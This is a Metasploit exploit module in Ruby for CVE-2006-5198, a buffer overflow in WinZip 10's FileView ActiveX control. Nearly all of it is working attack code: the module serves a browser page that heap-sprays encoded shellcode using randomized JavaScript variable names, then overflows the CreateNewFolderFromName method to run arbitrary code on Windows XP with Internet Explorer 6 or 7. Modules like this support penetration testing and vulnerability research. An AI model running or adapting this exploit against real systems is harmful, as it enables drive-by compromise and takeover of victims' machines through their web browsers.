WinZip FileView (WZFILEVIEW.FileViewCtrl.61) ActiveX Buffer Overflow



##

# $Id: winzip_fileview.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpServer::HTML

    include Msf::Exploit::Remote::BrowserAutopwn
    autopwn_info({
        :ua_name    => HttpClients::IE,
        :javascript => true,
        :os_name    => OperatingSystems::WINDOWS,
        :vuln_test  => 'CreateNewFolderFromName',
        :classid    => '{A09AE68F-B14D-43ED-B713-BA413F034904}',
        :rank       => NormalRanking  # reliable memory corruption
    })

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'WinZip FileView (WZFILEVIEW.FileViewCtrl.61) ActiveX Buffer Overflow',
            'Description'    => %q{
                    The FileView ActiveX control (WZFILEVIEW.FileViewCtrl.61) could allow a
                remote attacker to execute arbitrary code on the system. The control contains
                several unsafe methods and is marked safe for scripting and safe for initialization.
                A remote attacker could exploit this vulnerability to execute arbitrary code on the
                victim system. WinZip 10.0 <= Build 6667 are vulnerable.
            },
            'License'        => MSF_LICENSE,
            'Author'         => [ 'dean <dean[at]zerodaysolutions.com>' ],
            'Version'        => '$Revision: 9179 $',
            'References'     =>
                [
                    [ 'CVE','2006-5198' ],
                    [ 'OSVDB', '30433' ],
                    [ 'BID','21060' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'         => 1024,
                    'BadChars'      => "\x00",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Windows XP SP0-SP2/ IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0c0c0c0c } ]
                ],
            'DisclosureDate' => 'Nov 2 2007',
            'DefaultTarget'  => 0))
    end

    def autofilter
        false
    end

    def check_dependencies
        use_zlib
    end

    def on_request_uri(cli, request)
        # Re-generate the payload.
        return if ((p = regenerate_payload(cli)) == nil)

        # Encode the shellcode.
        shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

        # Set the return.
        ret    = Rex::Text.uri_encode([target.ret].pack('L'))

        # Randomize the javascript variable names.
        vname  = rand_text_alpha(rand(100) + 1)
        var_i  = rand_text_alpha(rand(30)  + 2)
        rand1  = rand_text_alpha(rand(100) + 1)
        rand2  = rand_text_alpha(rand(100) + 1)
        rand3  = rand_text_alpha(rand(100) + 1)
        rand4  = rand_text_alpha(rand(100) + 1)
        rand5  = rand_text_alpha(rand(100) + 1)
        rand6  = rand_text_alpha(rand(100) + 1)
        rand7  = rand_text_alpha(rand(100) + 1)
        rand8  = rand_text_alpha(rand(100) + 1)

        content = %Q|
            <html>
                <object id='#{vname}' classid='clsid:A09AE68F-B14D-43ED-B713-BA413F034904'></object>
                <script language="JavaScript">
                var #{rand1} = unescape('#{shellcode}');
                var #{rand2} = unescape('#{ret}');
                var #{rand3} = 20;
                var #{rand4} = #{rand3} + #{rand1}.length;
                while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
                var #{rand5} = #{rand2}.substring(0,#{rand4});
                var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
                while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
                var #{rand7} = new Array();
                for (#{var_i} = 0; #{var_i} < 800; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
                var #{rand8} = "A";
                for (#{var_i} = 0; #{var_i} < 1024; #{var_i}++) { #{rand8} = #{rand8} + #{rand2} }
                #{vname}.CreateNewFolderFromName(#{rand8});
                </script>
            </html>
            |

        print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

        # Transmit the response to the client
        send_response_html(cli, content)

        # Handle the payload
        handler(cli)
    end

end